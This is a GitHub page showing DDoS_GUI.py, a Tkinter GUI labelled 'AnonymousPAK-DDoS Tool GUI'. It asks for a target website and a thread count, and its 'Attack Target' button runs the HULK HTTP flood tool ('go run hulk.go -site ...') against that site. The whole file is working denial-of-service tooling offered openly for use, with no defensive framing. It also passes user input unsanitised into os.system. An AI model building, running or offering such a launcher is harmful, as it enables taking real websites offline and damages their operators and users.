-
Notifications
You must be signed in to change notification settings - Fork 29
/
DDoS_GUI.py
55 lines (48 loc) · 1.94 KB
/
DDoS_GUI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from tkinter import *
import tkinter as tk
import os
from tkinter import messagebox
import subprocess
import shlex
import platform
#DDoSing Target Function
def run_command(command):
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
print(output.strip())
rc = process.poll()
return rc
def Attack_Target():
website = str(Website.get())
threads = str(Thread.get())
if str(platform.system()) == 'Linux':
os.system('figlet AnonymousPAK DDoS')
else:
os.system("pyfiglet AnonymousPAK DDoS")
messagebox.showinfo("Attack Status", "HULK-DDoS Attack has been Started with " + str(threads) + " on Website " + website)
if str(platform.system()) == 'Windows':
os.system('go run hulk.go -site {0}'.format(website))
else:
DDoS_Output = "HULKMAXPROCS={0} go run hulk.go -site {1}".format(threads, website)
os.system(DDoS_Output)
root = tk.Tk()
root.title("AnonymousPAK-DDoS Tool GUI")
Information = Label(text = "HULK-DDoS Tool (GUI Implementation by Muneeb Khurram)", font = 'Calbri')
Information.grid(row =1, column =1)
Usage = Label(text = 'Usage: Enter the Website to DDoS e.g. https://example.com and Number of Threads i.e. 1024 - Infinity (On Windows 1024 Threads are Limited)')
Usage.grid(row =2, column =1)
Website_Name = Label(text = "Enter the Website Name Below")
Website_Name.grid(row = 3, column =1)
Website = tk.Entry(root,bd = 5)
Website.grid(row =4, column =1)
Thread_Name = Label(text = "Enter the Number of Threads for Attacking Website Below")
Thread_Name.grid(row = 5, column =1)
Thread = tk.Entry(root,bd = 5)
Thread.grid(row = 6, column =1)
Attack_Button = Button(text = 'Attack Target', font = 'Calbri', bd = 5, command = Attack_Target)
Attack_Button.grid(row = 7, column =1)
root.mainloop()